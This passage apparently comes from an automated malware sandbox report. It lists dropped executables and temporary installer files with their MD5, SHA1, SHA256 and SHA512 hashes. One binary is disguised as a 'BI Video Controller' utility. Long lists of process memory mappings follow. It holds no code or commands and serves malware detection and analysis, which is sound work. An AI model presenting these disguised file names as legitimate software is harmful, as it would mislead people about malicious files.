
                        f2106306a8f6f0da5afb7fc765cfa0757ad5a628

                        SHA256

                        c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

                        SHA512

                        0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

                      • \Users\Admin\AppData\Local\Temp\AEE6.exe
                        MD5

                        e987477b0d14b6d7075f0105aa28ba92

                        SHA1

                        54bb1ac38e517b3adf97ccb38b0d3a8ce71b1fab

                        SHA256

                        4fe326571995d0c02e822c70ad842f70b5f217c4a8dd4ed979f196b60711e00b

                        SHA512

                        bb6fc302409d60e918d130a48708bd83851b50bda20481436ab65d2091d061e61018617c542cfb8df090f79992ce9393fed2341bd1b8a38af4829a2f4383af68

                      • \Users\Admin\AppData\Local\Temp\CA36.exe
                        MD5

                        5707ddada5b7ea6bef434cd294fa12e1

                        SHA1

                        45bb285a597b30e100ed4b15d96a29d718697e5e

                        SHA256

                        85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

                        SHA512

                        91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

                      • \Users\Admin\AppData\Local\Temp\is-67KPS.tmp\AEE6.tmp
                        MD5

                        6da8ef761a1ac640f74c4509a3da8b47

                        SHA1

                        de626da008e5e8500388ec7827bcd1158f703d98

                        SHA256

                        232fb3aecf0becf95a9d8e820939fb1043a3401d9fd953da7ba13cbab0086ff5

                        SHA512

                        c9e8c6ae521dbd7e92af06e8a3581835058667ff6b502aa55ff4993c1b639e896c8f3ab6e0ca105e5635a66a40d92b4db96512e2ed337268b76ed611155e2402

                      • \Users\Admin\AppData\Local\Temp\is-D7BIH.tmp\AEE6.tmp
                        MD5

                        6da8ef761a1ac640f74c4509a3da8b47

                        SHA1

                        de626da008e5e8500388ec7827bcd1158f703d98

                        SHA256

                        232fb3aecf0becf95a9d8e820939fb1043a3401d9fd953da7ba13cbab0086ff5

                        SHA512

                        c9e8c6ae521dbd7e92af06e8a3581835058667ff6b502aa55ff4993c1b639e896c8f3ab6e0ca105e5635a66a40d92b4db96512e2ed337268b76ed611155e2402

                      • \Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe
                        MD5

                        cf8114289d40ec83b53463b1ac8930c9

                        SHA1

                        00036a509bc31c4264a0414d3386f420854ca047

                        SHA256

                        39b7e686bb324ecf81adc0b6a165830cd4d3f7d8a2bbba310930fa023f95bb12

                        SHA512

                        e19af0dcf1aa8253523a1eba1c69f5f26cc63730ef630c60c4ce46d368b037753110426c7e3db333041046dbb04ccffec2bfd48529e1cdaab6547e331df02fc9

                      • \Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe
                        MD5

                        cf8114289d40ec83b53463b1ac8930c9

                        SHA1

                        00036a509bc31c4264a0414d3386f420854ca047

                        SHA256

                        39b7e686bb324ecf81adc0b6a165830cd4d3f7d8a2bbba310930fa023f95bb12

                        SHA512

                        e19af0dcf1aa8253523a1eba1c69f5f26cc63730ef630c60c4ce46d368b037753110426c7e3db333041046dbb04ccffec2bfd48529e1cdaab6547e331df02fc9

                      • \Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\libfreetype-4.dll
                        MD5

                        96f1c8a9c83fbf6411f35d3de8fdc77c

                        SHA1

                        41b590133df449c8e0ce247aab7def7cfc39399d

                        SHA256

                        ae8db0fc9690c6047bd1d1aeb7cd254060c0623700bb184ce3f1b3d1daffc39e

                        SHA512

                        fa214f15b7c77eca2760aa2489debc5d7244f5535a7b725b49ae7f9ba6f5341a04ee2ccabe15f1e70a542582ed64758d1b4e2d61faaacf2a56e3ec750df76baa

                      • memory/268-64-0x0000000000000000-mapping.dmp
                      • memory/640-83-0x00000000001D0000-0x00000000001D1000-memory.dmp
                        Filesize

                        4KB

                      • memory/640-74-0x0000000000000000-mapping.dmp
                      • memory/924-84-0x0000000000400000-0x00000000004D8000-memory.dmp
                        Filesize

                        864KB

                      • memory/924-79-0x0000000000000000-mapping.dmp
                      • memory/932-203-0x0000000000080000-0x0000000000089000-memory.dmp
                        Filesize

                        36KB

                      • memory/932-202-0x0000000000090000-0x0000000000094000-memory.dmp
                        Filesize

                        16KB

                      • memory/932-199-0x0000000000000000-mapping.dmp
                      • memory/948-159-0x000000006CDE1000-0x000000006CDE3000-memory.dmp
                        Filesize

                        8KB

                      • memory/948-155-0x0000000000000000-mapping.dmp
                      • memory/948-162-0x0000000000130000-0x00000000001A4000-memory.dmp
                        Filesize

                        464KB

                      • memory/948-163-0x00000000000C0000-0x000000000012B000-memory.dmp
                        Filesize

                        428KB

                      • memory/968-68-0x0000000000000000-mapping.dmp
                      • memory/968-77-0x0000000000400000-0x00000000004D8000-memory.dmp
                        Filesize

                        864KB

                      • memory/1016-90-0x0000000000000000-mapping.dmp
                      • memory/1016-105-0x0000000000AE0000-0x0000000000AE1000-memory.dmp
                        Filesize

                        4KB

                      • memory/1016-95-0x0000000000340000-0x0000000000341000-memory.dmp
                        Filesize

                        4KB

                      • memory/1084-130-0x0000000004982000-0x0000000004983000-memory.dmp
                        Filesize

                        4KB

                      • memory/1084-164-0x00000000061B0000-0x00000000061B1000-memory.dmp
                        Filesize

                        4KB

                      • memory/1084-131-0x0000000002660000-0x0000000002661000-memory.dmp
                        Filesize

                        4KB

                      • memory/1084-129-0x0000000004980000-0x0000000004981000-memory.dmp
                        Filesize

                        4KB

                      • memory/1084-132-0x0000000005380000-0x0000000005381000-memory.dmp
                        Filesize

                        4KB

                      • memory/1084-149-0x000000007EF30000-0x000000007EF31000-memory.dmp
                        Filesize

                        4KB

                      • memory/1084-128-0x00000000049C0000-0x00000000049C1000-memory.dmp
                        Filesize

                        4KB

                      • memory/1084-152-0x00000000056F0000-0x00000000056F1000-memory.dmp
                        Filesize

                        4KB

                      • memory/1084-127-0x0000000002450000-0x0000000002451000-memory.dmp
                        Filesize

                        4KB

                      • memory/1084-125-0x0000000000000000-mapping.dmp
                      • memory/1084-160-0x0000000005730000-0x0000000005731000-memory.dmp
                        Filesize

                        4KB

                      • memory/1096-100-0x0000000000000000-mapping.dmp
                      • memory/1272-63-0x0000000002AA0000-0x0000000002AB6000-memory.dmp
                        Filesize

                        88KB

                      • memory/1328-123-0x0000000004C00000-0x0000000004C01000-memory.dmp
                        Filesize

                        4KB

                      • memory/1328-120-0x0000000001350000-0x0000000001351000-memory.dmp
                        Filesize

                        4KB

                      • memory/1328-117-0x0000000000000000-mapping.dmp
                      • memory/1328-205-0x0000000000690000-0x00000000006B1000-memory.dmp
                        Filesize

                        132KB

                      • memory/1332-122-0x0000000000400000-0x0000000002C84000-memory.dmp
                        Filesize

                        40.5MB

                      • memory/1332-114-0x0000000000000000-mapping.dmp
                      • memory/1444-145-0x0000000000000000-mapping.dmp
                      • memory/1444-151-0x0000000000230000-0x00000000002C1000-memory.dmp
                        Filesize

                        580KB

                      • memory/1444-161-0x0000000000400000-0x0000000002CB0000-memory.dmp
                        Filesize

                        40.7MB

                      • memory/1492-61-0x0000000076281000-0x0000000076283000-memory.dmp
                        Filesize

                        8KB

                      • memory/1492-60-0x0000000000402E1A-mapping.dmp
                      • memory/1492-59-0x0000000000400000-0x0000000000409000-memory.dmp
                        Filesize

                        36KB

                      • memory/1540-89-0x0000000000240000-0x0000000000241000-memory.dmp
                        Filesize

                        4KB

                      • memory/1540-86-0x0000000000000000-mapping.dmp
                      • memory/1540-92-0x0000000074C01000-0x0000000074C03000-memory.dmp
                        Filesize

                        8KB

                      • memory/1564-175-0x0000000000080000-0x000000000008B000-memory.dmp
                        Filesize

                        44KB

                      • memory/1564-174-0x0000000000090000-0x0000000000097000-memory.dmp
                        Filesize

                        28KB

                      • memory/1564-173-0x000000006CCB1000-0x000000006CCB3000-memory.dmp
                        Filesize

                        8KB

                      • memory/1564-171-0x0000000000000000-mapping.dmp
                      • memory/1588-179-0x0000000000000000-mapping.dmp
                      • memory/1588-182-0x0000000000090000-0x0000000000095000-memory.dmp
                        Filesize

                        20KB

                      • memory/1588-183-0x0000000000080000-0x0000000000089000-memory.dmp
                        Filesize

                        36KB

                      • memory/1620-187-0x0000000000000000-mapping.dmp
                      • memory/1620-194-0x0000000000060000-0x000000000006C000-memory.dmp
                        Filesize

                        48KB

                      • memory/1620-193-0x0000000000070000-0x0000000000076000-memory.dmp
                        Filesize

                        24KB

                      • memory/1640-166-0x0000000000000000-mapping.dmp
                      • memory/1640-177-0x0000000000070000-0x0000000000079000-memory.dmp
                        Filesize

                        36KB

                      • memory/1640-170-0x0000000000060000-0x000000000006C000-memory.dmp
                        Filesize

                        48KB

                      • memory/1640-176-0x0000000000000000-mapping.dmp
                      • memory/1640-169-0x00000000000F0000-0x00000000000F7000-memory.dmp
                        Filesize

                        28KB

                      • memory/1640-178-0x0000000000060000-0x000000000006F000-memory.dmp
                        Filesize

                        60KB

                      • memory/1660-139-0x0000000000550000-0x0000000000551000-memory.dmp
                        Filesize

                        4KB

                      • memory/1660-137-0x0000000000AA0000-0x0000000000AA1000-memory.dmp
                        Filesize

                        4KB

                      • memory/1660-133-0x0000000000000000-mapping.dmp
                      • memory/1712-146-0x0000000000320000-0x00000000003B3000-memory.dmp
                        Filesize

                        588KB

                      • memory/1712-148-0x0000000000400000-0x0000000002CB1000-memory.dmp
                        Filesize

                        40.7MB

                      • memory/1712-140-0x0000000000000000-mapping.dmp
                      • memory/1820-111-0x0000000000400000-0x0000000002C84000-memory.dmp
                        Filesize

                        40.5MB

                      • memory/1820-110-0x00000000002B0000-0x00000000002EB000-memory.dmp
                        Filesize

                        236KB

                      • memory/1820-106-0x0000000000000000-mapping.dmp
                      • memory/2040-62-0x00000000001C0000-0x00000000001CA000-memory.dmp
                        Filesize

                        40KB

                      • memory/2108-204-0x0000000000000000-mapping.dmp
                      • memory/2108-206-0x00000000000F0000-0x00000000000F5000-memory.dmp
                        Filesize

                        20KB

                      • memory/2108-209-0x00000000000E0000-0x00000000000E9000-memory.dmp
                        Filesize

                        36KB

                      • memory/2144-208-0x0000000000400000-0x0000000000495000-memory.dmp
                        Filesize

                        596KB

                      • memory/2144-218-0x0000000000400000-0x0000000000495000-memory.dmp
                        Filesize

                        596KB

                      • memory/2144-210-0x000000000044003F-mapping.dmp
                      • memory/2180-213-0x0000000000000000-mapping.dmp
                      • memory/2180-219-0x00000000000D0000-0x00000000000D5000-memory.dmp
                        Filesize

                        20KB

                      • memory/2180-220-0x00000000000C0000-0x00000000000C9000-memory.dmp
                        Filesize

                        36KB

                      • memory/2216-216-0x0000000000000000-mapping.dmp
                      • memory/2248-217-0x0000000000000000-mapping.dmp